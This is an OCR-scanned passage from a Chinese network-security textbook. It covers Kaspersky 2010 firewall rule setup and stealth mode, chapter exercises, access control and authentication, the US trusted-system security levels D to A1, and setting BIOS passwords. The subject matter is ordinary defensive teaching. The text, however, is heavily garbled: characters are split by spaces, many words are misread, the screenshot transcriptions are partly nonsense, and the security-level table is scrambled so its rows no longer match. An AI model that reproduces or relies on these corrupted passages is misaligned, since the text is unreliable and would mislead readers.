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击 该 程序 前 的 “十 ”按钮 ,选中 对 应 的 网 络 规则 右 击 鼠 标 , 在 弹出 的 菜单 中 选择 “允许 ”, 则 
Microsoft Developer Studio 程序 就 可 以 进行 网 络 访问 了 ,如 图 3-21 所 示 。 


隐 防 火 若 


Kaspersky”™ 


Internet Securityi2010 


过 源 规 则 | 网络 | 资源 
显示 下 列 状态 的 网 络 规则 : 所 有 网 络 | 


网 络 服务 田 操作 地 址 
田 为 NVIDIA Hotkey Service, Version 101,19 (受信 任 组 ) 
C'\WINDOWS\SYSTEM32\NVHOTKEY.DLL 
国 卡巴 斯 基 全 功能 安全 软件 (受信 任 组 ) 
py C:\Program Files\Kaspersky Lab\Kaspersky Internet Security 2010\avp.exe 


= 
vb 


国 Kaspersky Anti-Virus GUI Windows part (受信 任 组 ) 
C:\Program Fles\Kaspersky Lab\Kaspersky Internet Security 2010\BASEGUI.PPL 


国 Fetion (受信 和 任 组 ) 
Ed C:\Program Files\CHINA MOBILE\FETION\FETION.EXE 


田 Fetion (受信 在 组 ) 
”c:\program Fles\CHINA MOBILE\FETIONWVMDOTNETWV2.0.50727WFETIONVM .EXE 


a Microsoft (R) Developer Studio ( 低 限制 组 ) 
C:\Program Files\MICROSOFT YISUAL STUDIO\COMMON\MSDEY98\BIN\MSDEY.EXE 


图 3-21 修改 低 限 制 组 中 某 个 应 用 程序 的 访问 规则 


(3) 允许 程序 访问 特定 的 端口 

可 以 对 具体 程序 的 访问 端口 进行 单独 设置 。 设 置 访问 端口 分 为 两 种 情况 : 一 种 是 有 默 
认 访 问 端口 规则 的 ,例如 DNS over UDP,Sending E-mails 等 ,对 于 这 些 网 络 规则 可 以 直接 
添加 到 应 用 程序 中 。 第 二 种 为 无 默认 端口 规则 的 情况 下 ,需要 具体 指定 端口 和 协议 的 情况 。 

在 第 一 种 情况 下 ,允许 Microsoft Developer Studio 程序 通过 Web-Browsing 的 访问 , 操 
作 步 骤 如 下 。 

Q@ 单 击 “ 设 置 ”, 进 入 访问 程序 列表 。 

@ 选中 Microsoft Developer Studio 程序 ,然后 单 击 “ 添 加 ”, 打 开 “ 网 络 规则 ”对 话 框 ,在 
该 对 话 框 中 的 “网 络 服 务 ” 项 目 中 选择 Web-Browsing, 单 击 “ 确 定 ” 按 钮 ,可 以 看 到 在 
Microsoft Developer Studio 程序 下 ,多 了 一 个 网 络 访问 方式 ,如 图 3-22 所 示 。 

在 第 二 种 情况 下 ,添加 网 络 规则 时 需要 在 “网 络 规则 ”对 话 框 中 单 击 “ 添 加 ”, 人 然后 在 弹出 
的 “网 络 服务 ”对 话 框 中 进行 名 称 、 协 议 、 远 程 端口 、 本 地 端口 等 的 设置 ,然后 单 击 “ 确 定 ”, 如 
图 3-23 所 示 。 

(4) 允许 程序 访问 某 一 特定 了 

可 以 允许 应 用 程序 访问 某 一 特定 的 IP 地 址 。 具 体 设 置 步骤 如 下 。 

Q@ 单 击 “ 设 置 ”, 进 入 访问 程序 列表 ,选中 应 用 程序 ,然后 单 击 “ 添 加 ”, 打 开 “ 网 络 规则 ” 
对 话 框 。 

@ 在 “网 络 服务 ”中 选择 Any outgoing TCP stream, 在 “地 址 ”中 选中 “来 自 组 地 址 ”, 单 
击 “ 添 加 ”, 弹 出 “网 络 地 址 ”界面 ,添上 “名 称 ”( 必 须 ), 单 击 “ 添 加 ”, 弹 出 “IP 地 址 或 DNS 名 
称 ” 界 面 ,在 框 中 添上 要 允许 的 IP 地 址 。 单 击 “ 确 定 ” 完 成 该 IP 的 设置 。 然 后 依次 单 击 “ 确 
定 ” 完 成 TCP 端口 的 设置 ,如 图 3-24 所 示 。 
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图 3-23 ”为 应 用 程序 添加 网 络 规则 (无 默认 端口 规则 ) 


Internet Securityi201( 


| 过 二 规则 | 网络 | 资源 | 措 作 
加 允许 


| 显示 下 列 关 老 的 网 络 规则 : | QQ 阳 止 
网 络 服 和 记录 事件 
国 360se (受信 任 组 
委 总 C:\Program Fies 网 络 服务 
国 | NVIDIA Hotkey § (SPHEP Address Assig 


CIWWINDDWS\S| Tany outgoing TCP stream 


te 
EE [4 CNProgram Files| | Any outgong UDP stream 


| 

| i i Any incoming UDP stream 
国 aspersky An 

| 旦 四 | cyprogram Fles| | Any neoming ICMP 
| + 还 加 #2 编程 X 到 卫 
| 加 Fetion (受信 企 组 
| 月 C:\Program Files| _ 地 址 
| 
| 日 人 ein (受信 任 组 

5 \Program Files| 

T Microsoft (R) pq 

ia pe C:\Program Fi 


图 3-24 人 允许 程序 访问 某 一 特定 IP 


(5) 开启 隐身 模式 

卡巴 斯 基 防 火 墙 提供 了 隐身 模式 设置 ,开启 隐身 模式 后 ,别人 无 法 扫描 到 该 电脑 和 打开 
的 端口 ,相对 要 安全 一 些 ,但 是 开启 后 会 影响 下 载 和 网 游 功能 。 

开启 卡巴 斯 基 2010 防火 墙 隐身 模式 的 方法 为 ,进入 卡巴 斯 基 2010 中 “防火 墙 ? 界 面 ， 
单 击 右 上 角 的 “设置 ”按钮 ,在 防火 墙 设置 界面 中 选择 过滤 规 则 ”, 找 到 “ 包 规 则 ”, 展 开 之 后 
找到 Any incoming TCP stream 和 Any incoming UDP stream, 将 该 两 项 的 “操作 ”分 别 设置 
为 “拒绝 ”, 如 图 3-25 所 示 。 
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根据 应 用 程序 规则 


图 3-25 设置 防火 墙 隐身 模式 


3.9 本 章 小 结 


本 章 着 重 介 绍 了 防火 墙 的 基本 概念 分 类 、 安 全 标准 、 配 置 及 选择 原则 等 内 容 。 

作为 近年 来 新 兴 的 保护 计算 机 网 络 安全 技术 性 措施 ,防火墙 是 一 种 隔离 控制 技术 ,在 某 
个 机 构 的 网 络 和 不 安全 的 网 络 之 间 设 置 障碍 ,阻止 对 信息 资源 的 非法 访问 ,也 可 以 使 用 防火 
墙 阻止 专利 信息 从 公司 的 网 络 上 被 非法 输出 。 换 言 之 防火 墙 是 一 道门 槛 ,控制 进出 两 个 方 
向 的 通信 。 通 过 限制 与 网 络 或 某 一 特定 区 域 的 通信 ,达到 防止 非法 用 户 侵犯 Internet 和 公 
用 网 络 的 目的 。 

防火 墙 是 一 种 被 动 防卫 技术 ,由 于 它 假设 了 网 络 的 边界 和 服务 ,所 以 对 内 部 的 非法 访问 
难以 有 效 地 控制 。 因 此 ,防火 墙 最 适合 应 用 于 相对 独立 的 .与 外 部 网 络 互 连 途 径 有 限 、 网 络 
服务 种 类 相对 集中 的 单一 网 络 。 例 如 常见 的 企业 专用 网 。 

实现 防火 墙 的 主要 技术 有 : 数据 包 过 滤 路 由 器 .应 用 双 宿 主 网 关 的 代理 服务 .主机 屏蔽 
防火 墙 . 子 网 屏蔽 防火 墙 和 分 布 式 防火 墙 等 。 

防火 墙 的 具体 实现 产品 有 很 多 ,个 人 防火 墙 有 卡巴 斯 基 防 火 墙 和 瑞星 防火 墙 等 ,本 章 重 
点 介绍 了 卡巴 斯 基 个 人 版 防火 墙 。 
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基础 练习 题 


. 什么 是 防火 墙 ? 在 网 络 中 为 什么 要 设置 防火 墙 ? 

. 简 述 防火 墙 的 作用 、 特 性 和 优 缺 点 。 

. 防火墙 的 基本 准则 是 什么 ? 

. 防火 墙 的 基本 结构 是 怎样 的 ? 如 何 起 “防火 墙 ”作用 ? 
.防火墙 的 类 型 有 哪 几 种 ? 

. 在 网 络 中 如 何 配 置 防火 墙 ? 

. 简 述 防火 墙 的 访问 控制 策略 。 

. 防火墙 与 Web 服务 器 之 间 的 配置 策略 有 几 种 ,它们 各 有 什么 优 缺 点 ? 
. 选择 一 个 好 的 防火 墙 要 注意 什么 问题 ? 


实践 题 
编写 一 个 防火 墙 的 策略 ,用 卡巴 斯 基 防 火 墙 实现 。 
讨论 与 思考 题 * 


1. 正确 配置 防火 墙 后 ,是 否 能 保证 网 络 的 安全 ? 
2. 防火墙 的 缺点 都 有 哪些 ? 
3， 防火 墙 会 有 怎样 的 发 展 趋势 ? 


GD ID NW ~ 


“ 108 .2 


第 4 章 计算 机 及 网 络 系统 的 安全 性 


计算 机 和 网 络 工 作 站 是 目前 应 用 最 广泛 的 设备 。 计 算 机 网 络 的 安全 在 很 大 程度 上 依赖 
于 网 络 终端 和 客户 工作 站 的 安全 。 目 前 的 计算 机 系统 安全 级 别 偏 低 , 几 乎 没有 进行 特别 有 
力 的 防范 措施 。 在 未 联网 的 单机 时 代 , 由 于 安全 问题 造成 的 损失 较 少 ,并 未 引起 人 们 的 注 
意 。 处 于 网 络 时 代 的 今天 ,未 加 保护 的 计算 机 系统 连 人 网 络 ,由 于 非法 用 户 的 入侵 .计算 机 
数据 的 破坏 和 泄密 ,将 会 给 人 们 造成 无 法 估量 的 损失 。 因 此 ,了 解 和 掌握 计算 机 及 网 络 系统 
的 安全 保护 机 制 ,加 强 安全 防范 措施 ,使 计算 机 系统 变 得 更 加 安全 ,已 变 得 非常 有 必要 。 

本 章 主 要 讨论 以 下 有 关 计 算 机 系统 安全 方面 的 内 容 : 
计算 机 系统 的 安全 保护 机 制 ; 
评估 计算 机 系统 的 安全 等 级 ; 
计算 机 BIOS 程序 有 关 的 安全 设置 和 保护 机 制 ; 
无 线 局 域 网 的 安全 性 ; 
虚拟 专用 网 (VPN) 的 安全 性 ; 
个 人 操作 系统 (Windows XP,Windows 7.0) 的 安全 性 ; 
数据 库 系 统 的 安全 性 ; 
应 用 系统 的 安全 性 。 


4.1 计算 机 系统 的 安全 保护 机 制 


随 着 计算 机 技术 的 发 展 ,计算 机 系统 的 安全 越 来 越 被 人 们 所 关注 。 非 授权 用 户 常常 对 
计算 机 系统 进行 非法 访问 ,这 种 非法 访问 使 系统 中 存储 信息 的 完整 性 受到 威胁 ,导致 信息 被 
修改 或 破坏 而 不 能 继续 使 用 ,更 为 严重 的 是 系统 中 有 价值 的 信息 泄密 和 被 非法 算 改 ,伪造 、 
窃取 或 删除 而 不 留任 何 痕迹 。 要 保护 计算 机 系统 ,必须 从 技术 上 了 解 计算 机 系统 安全 访问 
控制 的 保护 机 制 。 

为 了 防止 非法 用 户 使 用 计算 机 系统 或 者 合法 用 户 对 系统 资源 的 非法 访问 ,需要 对 计算 
机 实体 进行 访问 控制 。 例 如 ,银行 信息 系统 的 自动 提 款 机 为 合法 用 户 提供 现款 ,但 它 必 须 对 
提 款 的 用 户 身 份 进行 识别 和 验证 ,对 提 款 的 行为 进行 监督 控制 ,以 防止 非法 用 户 的 欺诈 
行为 。 

存 取 控 制 主要 包括 授权 .确定 存 取 权 限 和 实施 权限 3 个 内 容 。 一 个 计算 机 系统 的 存 取 
控制 仅 指 本 系统 内 的 主体 对 客体 的 存 取 控制 ,不 包括 外 界 对 系统 的 存 取 ( 其 中 主体 指使 用 网 
络 系统 的 用 户 和 用 户 组 ,客体 指 网 络 系统 中 系统 资源 ,如 文件 .打印 机 等 资源 )。 因 此 ,实施 
存 取 控制 是 维护 系统 运行 安全 ,保护 系统 资源 的 重要 技术 手段 。 

存 取 控制 是 对 处 理 状态 下 的 信息 进行 保护 ,是 保证 对 所 有 的 直接 存 取 活动 进行 授权 的 
重要 手段 ;同时 , 存 取 控制 要 对 程序 执行 期 间 访问 资源 的 合法 性 进行 检查 。 它 控制 着 对 数据 
和 程序 的 读 、 写 、 修 改 、 删 除 、 执 行 等 操作 ,防止 因 事 故 和 有 意 破坏 对 信息 的 威胁 。 存 取 控 制 
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必须 对 访问 者 的 身份 和 行为 实施 一 定 的 限制 ,这 是 保证 系统 安全 所 必需 的 。 
要 解决 上 述 问 题 ,需要 采取 以 下 两 种 措施 : 
(1) 识别 与 验证 访问 系统 的 用 户 。 
(2) 决定 用 户 对 某 一 系统 资源 可 进行 何 种 访问 ( 读 、 写 修改 .运行 等 ) 。 


4.1.1 用 户 的 识别 和 验证 


要 求 用 户 在 使 用 计算 机 以 前 ,首先 向 计算 机 输入 自己 的 用 户 名 和 身份 鉴别 数据 (如 口 
令 ,标识 卡 、 指 纹 等 ) ,以 便 进行 用 户 的 识别 与 验证 ,防止 冒名 顶替 和 非法 入 侵 。 

所 谓 “ 识 别 ”, 就 是 要 明确 访问 者 是 谁 , 即 识 别 访问 者 的 身份 。 必 须 对 系统 中 的 每 个 合法 
用 户 都 有 识别 能 力 ,要 保证 识别 的 有 效 性 ,必须 保证 任意 两 个 不 同 的 用 户 都 不 能 具有 相同 的 
标识 符 。 通 过 唯一 标识 符 (ID) ,系统 可 以 识别 出 访问 系统 的 每 一 个 用 户 。 

所 谓 “ 验 证 ”, 是 指 在 访问 者 声明 自己 的 身份 (向 系统 输入 它 的 标识 符 ) 后 ,系统 必须 对 他 
所 声明 的 身份 进行 验证 ,以 防 假冒 ,实际 上 就 是 证 实用 户 的 身份 。 验 证 过 程 总 是 需要 用 户 出 
具 能 够 证 明 他 身份 的 特殊 信息 ,这 个 信息 是 秘密 的 ,任何 其 他 用 户 都 不 能 拥有 它 。 识 别 与 验 
证 是 涉及 系统 和 用 户 的 一 个 全 过 程 。 只 有 识别 与 验证 过 程 都 正确 后 ,系统 才能 允许 用 户 访 
问 系统 资源 。 

利用 物理 锁 可 以 对 一 些 重 要 的 资源 实施 控制 。 只 要 把 需要 保护 的 系统 资源 用 锁 锁 上 ， 
而 钥匙 由 自己 掌握 ,那么 没有 钥匙 的 人 是 不 能 访问 受到 保护 的 资源 的 。 在 这 里 ,ID 相当 于 
钥匙 ,系统 根据 不 同 的 ID 可 对 其 分 配 相应 不 同 的 可 使 用 资源 。 但 拥有 钥匙 的 用 户 不 一 定 是 
合法 拥有 者 ,所 以 需 采 用 验证 技术 证 实用 户 的 合法 身份 ,这 种 技术 可 以 有 效 地 防止 由 于 ID 
的 非法 泄露 所 产生 的 安全 问题 。 口 令 机 制 是 一 种 简便 的 验证 手段 ,但 比较 脆弱 。 生 物 技术 ， 
例如 利用 指纹 ,视网膜 技术 等 ,是 一 种 比较 有 前 途 的 方法 。 

目前 计算 机 系统 最 常用 的 验证 手段 仍 是 口令 机 制 , 它 通过 下 述 各 种 方法 来 加 强 其 可 

(1) 口令 需 加 密 后 存放 在 系统 数据 库 中 ,一 般 采 用 单 向 加 密 算法 对 口令 进行 加 密 。 

(2) 要 使 输入 口令 的 次 数 尽量 减少 ,以 防 意 外 泄露 。 

(3) 当 用 户 离开 系统 所 属 的 组 织 时 ,要 及 时 更 换 他 的 口令 。 

(4) 不 要 将 口令 存放 在 文件 或 程序 中 ,以 防 其 他 用 户 读 取 该 文件 或 程序 时 发 现 口 令 。 

(5) 用 户 要 经 常 更 换 口 令 , 使 自己 的 口令 不 易 被 猜测 出 来 。 


4.1.2 决定 用 户 访 问 权 限 


对 于 一 个 已 被 系统 识别 与 验证 了 的 用 户 , 还 要 对 其 访问 操作 实施 一 定 的 限制 。 可 以 把 
用 户 分 为 具有 如 下 几 种 属性 的 用 户 类 : 

(1) 特殊 的 用 户 : 这 种 用 户 是 系统 的 管理 员 , 具 有 最 高 级 别 的 特权 ,可 以 对 系统 任何 资 
源 进行 访问 ,并 具有 所 有 类 型 的 访问 .操作 能 

(2) 一 般 的 用 户 : 即 系统 的 一 般 用 户 , 他 们 的 访问 操作 要 受到 一 定 的 限制 ,通常 需要 由 
系统 管理 员 对 这 类 用 户 分 配 不 同 的 访问 操作 权力 。 

(3) 审计 的 用 户 : 这 类 用 户 负责 整个 系统 范围 的 安全 控制 与 资源 使 用 情况 的 审计 。 

(4) 作废 的 用 户 : 这 是 一 类 被 拒绝 访问 系统 的 用 户 , 可 能 是 非法 用 户 。 

105. 


4.2 计算 机 系统 的 安全 等 级 


为 了 对 一 个 计算 机 系统 进行 安全 评估 ,美国 国防 部 按 处 理 信息 的 等 级 和 应 采用 的 相应 
措施 ,将 计算 机 安全 分 为 : A,B,C,D 4 等 8 个 级 别 , 共 27 条 评估 准则 。 从 最 低 等 级 D 等 开 


始 到 A 等 ,如 表 4-1 所 示 。 随 着 安全 等 级 的 提高 ,系统 的 可 信 度 随 之 增加 ,风险 逐渐 减少 。 
表 4-1 可 信 系 统 的 等 级 划分 
类 别 级 别 名 称 主要 特征 
超 Al 仅 有 设想 


形式 化 的 最 高 级 描述 和 验证 ,形式 化 的 隐藏 通道 
分 析 , 非 形式 化 的 代码 对 应 证 明 

B B3 安全 区 域 存 取 监控 ,高 抗 渗透 能 力 

形式 化 模型 / 隐 通 道 约束 ,面向 安全 的 体系 结构 ， 


A Al 验证 设计 


BD 结构 化 保护 较 好 的 抗 渗透 能 力 
Bl 标识 的 安全 保护 。 | 强制 安全 控制 .安全 标识 

C C2 受 控制 的 存 取 控 制 | 单独 的 可 碍 性 ,广泛 的 审计 跟踪 
a 自主 安全 保护 自主 存 取 控制 

D D 低级 保护 几乎 无 安全 功能 


下 面 对 每 个 安全 等 级 的 内 容 和 要 求 做 简要 说 明 。 
4.2.1 非 保护 级 


D 等 是 最 低 保 护 等 级 , 即 非 保护 级 。 它 是 为 那些 经 过 评估 ,不 满足 较 高 评估 等 级 要 求 的 
系统 设计 的 ,只 具有 一 个 级 别 。 因 此 ,这 种 系统 不 能 在 多 用 户 环境 下 人 处理 敏感 信息 。DD 级 并 
非 没 有 安全 保护 功能 ,只 是 保护 功能 太 弱 。 


4.2.2 自主 保护 级 


C 等 为 自主 保护 级 ,具有 一 定 的 保护 功能 ,采用 的 措施 则 是 自主 访问 控制 和 审计 跟踪 。 
它 一 般 只 适用 于 具有 一 定 等 级 的 多 用 户 环境 ,并 具有 对 主体 责任 和 对 他 们 的 初始 动作 审计 
的 能 力 。 它 的 各 级 提供 无 条 件 的 安全 保护 ,并 通过 审计 追踪 ,对 主体 及 其 产生 的 动作 负责 。 
这 一 等 级 分 为 C1 和 C2 两 个 级 别 。 

1. 自主 安全 保护 级 (C1 级 ) 

其 存 取 控制 的 基础 是 以 指名 道 姓 的 方式 ,提供 了 各 用 户 与 数据 的 隔离 ,以 符合 自主 安全 
要 求 。 它 包含 了 若干 可 信 控 制 方式 ,能 在 个 体 基础 上 实施 存 取 限 制 , 即 允许 用 户 保护 他 自己 
的 项 目 和 隐私 信息 ,防止 他 的 数据 被 别 的 用 户 无 意 读 取 或 破坏 。 

C1 级 通过 提供 用 户 与 数据 隔离 ,就 能 够 满足 市 场 可 信 计 算 机 (TCB，trusted computing 
base) 自动 安全 要 求 。 所 谓 可 信 计 算 机 是 一 个 安全 计算 机 系统 的 参考 校 验 机 制 。 简 单 地 说 ， 
所 有 与 系统 安全 有 关 的 功能 均 包含 在 TCB 中 。 
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在 这 一 级 ,TCB 应 在 命名 用 户 和 命名 的 客体 之 间 定 义 和 进 行 访问 控制 。 它 用 的 机 理 
(如 个 人 /组 /公共 控制 ,访问 控制 表 ) 应 允许 客体 拥有 者 指定 和 控制 客体 是 由 自己 使 用 ,还 是 
由 用 户 组 或 公共 使 用 。 该 级 需要 在 进行 任何 活动 之 前 ,TCB 去 确认 用 户 身 份 (如 采用 口 
令 ) ,并 保护 确认 数据 ,以 免 未 经 授权 对 确认 数据 的 访问 和 修改 。 通 过 用 户 拥有 者 的 自主 定 
义 和 控 制 ,可 以 防止 自己 的 数据 被 别 的 用 户 有 意 或 无 意 地 读 出 、 自 改 .干涉 和 破坏 。 同 时 提 
供 软 件 和 硬件 特性 ,并 定期 地 检查 其 运行 正确 性 。 

目前 生产 的 大 多 数 计算 机 系统 都 能 达到 这 一 等 级 ,但 这 级 系统 不 一 定 要 经 过 严格 的 评 
价 。 评 价 为 Cl 级 多 是 依据 系统 某 些 特点 。 

2. 可 控 安 全 保护 级 (C2 级 ) 

在 C2 级 ,计算 机 系统 比 Cl 级 有 更 细致 的 自主 访问 控制 。 通 过 注册 过 程 , 同 与 安全 有 
关 事 件 的 审计 和 资源 隔离 ,使 得 用 户 的 操作 有 可 查 性 。 在 安全 方面 , 除 具 备 Cl 级 所 有 功能 
外 ,还 提供 授权 服务 。 并 且 可 提供 控制 ,以 防止 存 取 权力 的 扩散 。 应 确定 用 户 的 动作 或 默认 
te dioica 它 可 指定 哪些 用 户 可 以 访问 哪些 客体 ,未 经 授权 用 户 不 

得 访问 已 指定 访问 权 的 客体 。 同 时 还 提供 了 客体 再 用 功能 , 即 对 于 一 个 未 使 用 的 存储 客体 ， 
TCB 应 该 能 够 保证 该 客体 不 包含 未 授权 主体 的 数据 。 

在 这 一 方面 , 除 具 有 C1l 级 全 部 功能 外 ,还 提供 唯一 的 识别 自动 数据 处 理 系统 中 各 个 用 
户 的 能 力 ; 提 供 将 这 种 身份 与 该 客体 用 户 发 生 的 所 有 审计 动作 相 联系 的 能 力 。C2 级 系统 可 
审计 所 有 主体 进行 的 各 种 活动 ;能 对 可 信 计 算 机 (TCB) 进 行 建立 和 维护 ,对 客体 存 取 的 审计 
进行 跟踪 ,并 保护 审计 信息 ,防止 被 修改 .毁坏 或 未 经 授权 访问 。 

(1) TCB 还 能 记录 下 列 类 型 的 事件 : 确认 和 识别 安全 机 理 的 使 用 ,将 客体 引入 一 用 户 地 

空间 ,客体 的 删除 ,操作 人 员 .系统 管理 人 员 和 安全 管理 人 员 进 行 的 各 种 与 安全 相关 的 活动 。 

(2) 对 每 个 审计 事件 ,审计 记录 应 包括 : 用 户 名 .事件 发 生 时 间 、 事 件 类 型 .事件 的 成 功 
或 失败 等 。 

(3) 对 于 确认 事件 ,请求 源 ( 如 终端 ID) 也 应 包括 在 审计 记录 中 。 

(4) 对 于 客体 进行 访问 的 事件 ,审计 记录 应 包括 客体 名 。 

(5) 自动 数据 处 理 系统 管理 人 员 应 能 通过 识别 符 , 有 选择 地 审计 任 一 用 户 或 多 个 用 户 
的 活动 。 

除 Cl 级 的 要 求 外 ,TCB 还 必须 保留 一 特定 区 域 ,以 防 外 部 人 员 的 算 改 。 由 于 TCB 控 
制 的 资源 是 以 主体 和 客体 定义 的 子 集 ,TCB 应 与 被 保护 的 资源 隔离 ,以 使 存 取 控制 更 容易 ， 
从 而 达到 审计 目的 。DEC 公司 的 VAX/VMS 操作 系统 、Novell 公司 的 NetWare 系统 和 
Microsoft 公司 的 Windows NT/2000 都 被 确认 为 C2 级 。 


4.2.3 强制 安全 保护 级 


B 等 为 强制 保护 级 。 这 一 等 级 比 C 等 级 的 安全 功能 有 很 大 增强 。 hen 
制 访问 控制 ,并 要 求 客体 必须 带 有 敏感 标志 ,可 信 计 算 机 利用 它 去 施加 强制 访问 控制 。 这 
部 分 可 分 为 Bl1,B2,B3 共 3 级 。 

1. 标记 安全 保护 级 (B1) 

从 本 级 开始 ,不 但 有 自主 存 取 控制 ,还 增加 了 强制 存 取 控制 ,组 织 统 一 干预 每 个 用 户 的 
存 取 权限 。 本 级 具有 C2 级 的 全 部 安全 特性 ,并 增加 了 数据 标记 ,以 标记 决定 已 命名 主体 对 
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该 客体 的 存 取 控制 。 本 级 还 规定 在 测试 过 程 中 发 现 的 缺陷 应 当 已 全 部 排除 。 

2. 结构 化 保护 级 (B2) 

从 本 级 开始 , 按 最 小 特权 原则 取消 权力 无 限 大 的 “特权 用 户 ”。 任 何 一 个 人 都 不 能 享有 
操纵 和 管理 计算 机 的 全 部 权力 。 本 级 将 系统 管理 员 与 系统 操作 员 的 职能 隔离 ,系统 管理 员 
对 系统 的 配置 和 可 信 设 施 进行 强 有 力 的 管理 ,系统 操作 员 操 纵 计算 机 正常 运行 。 本 级 将 强 
制 存 取 控制 扩展 到 计算 机 的 全 部 主体 和 全 部 客体 ,并 且 要 发 现 和 消除 能 造成 信息 泄漏 的 隐 
蔽 存储 信道 。 为 此 ,本 级 计算 机 安全 级 的 结构 ,将 被 自行 划分 为 与 安全 保护 有 关 的 关键 部 分 
和 非 关 键 部 分 。 

3. 安全 域 级 (B3) 

本 级 在 计算 机 安全 方面 已 达到 目前 能 达到 的 最 完备 等 级 。 按 照 最 小 特权 原则 ,本 级 增 
加 了 安全 管理 员 , 将 系统 管理 员 、 系 统 操作 员 和 安全 管理 员 的 职能 隔离 ,使 其 各 司 其 职 , 将 人 
为 因素 对 计算 机 安全 的 威胁 减 至 最 小 。 本 级 要 求 在 计算 机 安全 级 的 结构 中 ,没有 为 实现 安 
全 策略 所 不 必要 的 代码 。 它 的 所 有 部 分 都 是 与 保护 有 关 的 关键 部 件 ,并 且 它 是 用 系统 工程 
方法 实现 的 ,其 结构 的 复杂 性 最 小 ,易于 分 析 和 测试 。 本 级 的 审计 功能 有 很 大 的 增强 ,不 但 
能 记录 违反 安全 的 事件 ,并且 能 发 出 报警 信号 。 本 级 还 要 求 具 有 使 系统 恢复 运行 的 程序 。 


4.2.4 验证 安全 保护 级 


A 等 是 验证 保护 级 。 它 的 显著 特征 是 从 形式 设计 规范 说 明和 验证 技术 导出 分 析 , 并 高 
度 地 保证 正确 实现 TCB。 其 特点 是 使 用 形式 化 验证 方法 ,以 保证 系统 的 自主 访问 和 强制 访 
问 , 控 制 机 理 能 有 效 地 使 该 系统 存储 和 处 理 秘密 信息 或 其 他 敏感 信息 。 该 等 级 分 为 Al 和 
超 Al 两 个 级 别 。 

1. 验证 设计 级 (Al 级 ) 

本 级 的 安全 功能 与 B3 级 基本 相同 ,但 最 明显 的 不 同 是 本 级 必须 对 相同 的 设计 ,运用 数 
学 形式 化 证 明 方法 加 以 验证 ,以 证 明 安 全 功能 的 正确 性 。 本 级 还 规定 了 将 安全 计算 机 系统 
运送 到 现场 安装 所 必需 的 程序 。 


2. 超 Al 级 
由 于 超 Al 级 超出 目前 的 技术 发 展 , 有 些 具体 要 求 很 难 提出 , 仅 提供 了 一 些 设想 。 它 为 
今后 研究 提供 指导 。 


综 上 所 述 ,对 可 信 计 算 机 而 言 ,D 级 是 不 具备 最 低 限度 安全 的 等 级 ;Cl 和 C2 级 是 具备 
最 低 安 全 限度 的 等 级 ;B1 和 B2 级 是 具有 中 等 安全 保护 能 力 的 等 级 ,它们 与 C 级 相 比 是 较 
高 安全 等 级 ,对 于 一 般 的 重要 应 用 基本 上 可 以 满足 安全 要 求 ;B3 级 和 Al 级 是 最 高 安全 等 
级 ,其 成 本 高 ,只 有 极 重要 的 应 用 才 需 使 用 这 种 安全 等 级 的 设备 。 


4.3 计算 机 的 开机 口令 验证 机 制 


4.3.1 BIOS 的 口令 机 制 


BIOS 的 口令 机 制 俗称 CMOS 口令 设置 ,CMOS 口令 是 保证 计算 机 信息 安全 的 第 一 道 
屏障 。CMOS( 本 意 是 指 互补 金属 氧化 物 半 导体 存储 器 ,应 用 于 集成 电路 芯片 制造 ) 是 电脑 
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主板 上 的 一 块 可 读 写 的 RAM 芯片 ,主要 用 来 保存 当前 系统 的 硬件 配置 ,CMOS RAM 芯 
由 系统 通过 一 块 后 备 电池 供电 ,所 以 无 论 是 否 在 开关 机 状态 中 ,CMOS 的 信息 都 不 会 丢失 。 
CMOS 口令 分 为 CMOS 开机 口令 和 BIOS 设置 口令 。 如 设置 了 CMOS 开机 口令 , 则 计算 机 
在 开机 完成 硬件 自 检 后 将 要 求 操 作者 输入 密码 ,如 密码 不 正确 ,将 不 能 进入 CMOS 参数 设 
置 , 亦 无 法 继续 启动 操作 系统 ,更 无 从 谈 起 运行 其 他 软件 了 。 如 计算 机 仅 设置 了 BIOS 设置 
口令 ,虽然 在 启动 操作 系统 和 运行 各 种 软件 时 不 受 限制 ,但 如 要 进入 BIOS 设置 程序 必须 输 
入 预 设 的 口令 ,否则 无 法 改变 CMOS 参数 。 因 此 ,根据 实际 需要 ,合理 地 设置 CMOS 口令 ， 
是 做 好 计算 机 信息 安全 工作 的 重要 工作 。 

计算 机 有 很 多 种 不 同 的 BIOS 程序 ,最 有 名 的 是 AWARD BIOS 和 AMI BIOS 程序 。 
下 面 以 AWARD BIOS 为 例 介 绍 BIOS 中 CMOS 的 开机 密码 设置 ,设置 方法 如 下 。 

(1) 启动 计算 机 ,在 计算 机 正在 启动 时 不 停 地 按 Del 键 ( 注 意 , 是 不 停 地 按 动 ,而 不 是 按 
住 不 放 ) ,直到 出 现 如 图 4-1 所 示 的 CMOS SETUP 设置 界面 时 为 止 ( 有 的 计算 机 进入 
CMOS 的 快捷 键 不 是 Del ,例如 康 柏 计算 机 的 CMOS 设置 是 按 F2 键 , 需 要 根据 具体 情况 而 
定 ) ,其 中 加 框 的 选项 与 开机 的 CMOS 密码 有 关 。 


ROM PCI/ISA BIOS(C2A59IJ1Z) 
CMOS SETUP UTILITY 
AWARD SOFTWARE,INC。 

STANDARD CMOS SETUP INTEGEGRATED PERIPHERALS 
BIOS FEATURES SETUP SUPERVISOR PASSWORD 
CHIPSET FEAURES SETUP USER PASSWORD 
POWER MANAGEMENT SETUP IDE HDD AUTO DETECTION 
PNP/PCI CONFIGURATION HDD LOW LEVEL FORMAT 
LOAD BIOS DEFAULTS SAVE &. EXIT SETUP 
LOAD SETUP DEFAULTS EXIT WITHOUT SAVING 
Esc: Quit 人 yy 一 <—: Select Item 
F10: Save & Exit Setup (Shift)F2: Change Color 

Change/Set/Disable Password 


图 4-1 AWARD BIOS 程序 的 CMOS 设置 界面 


(2) 用 键盘 上 的 光标 键 选择 SUPERVISOR PASSWORD 项 ,然后 按 Enter 键 ,出 现 
ENTER PASSWORD 后 ,输入 密码 再 按 Enter 键 , 这 时 又 出 现 CONFIRM PASSWORD ,在 
其 后 再 次 输入 同一 密码 ( 注 : 该 项 原意 是 对 刚才 输入 的 密码 进行 校 验 , 如 果 两 次 输入 的 密码 
不 一 致 , 则 会 要 求 重新 输入 ) 。SUPERVISOR PASSWORD 选项 是 用 来 设置 计算 机 管理 员 
的 密码 ,拥有 该 密码 ,就 可 以 设置 计算 机 的 CMOS 参数 和 使 用 计算 机 。 

(3) 用 光标 键 选择 USER PASSWORD 项 后 按 Enter 键 ,同上 面 一 样 ,密码 需 输入 两 次 
才能 生效 。USER PASSWORD 选项 是 用 来 设置 使 用 计算 机 的 用 户 密码 ,拥有 该 密码 则 可 
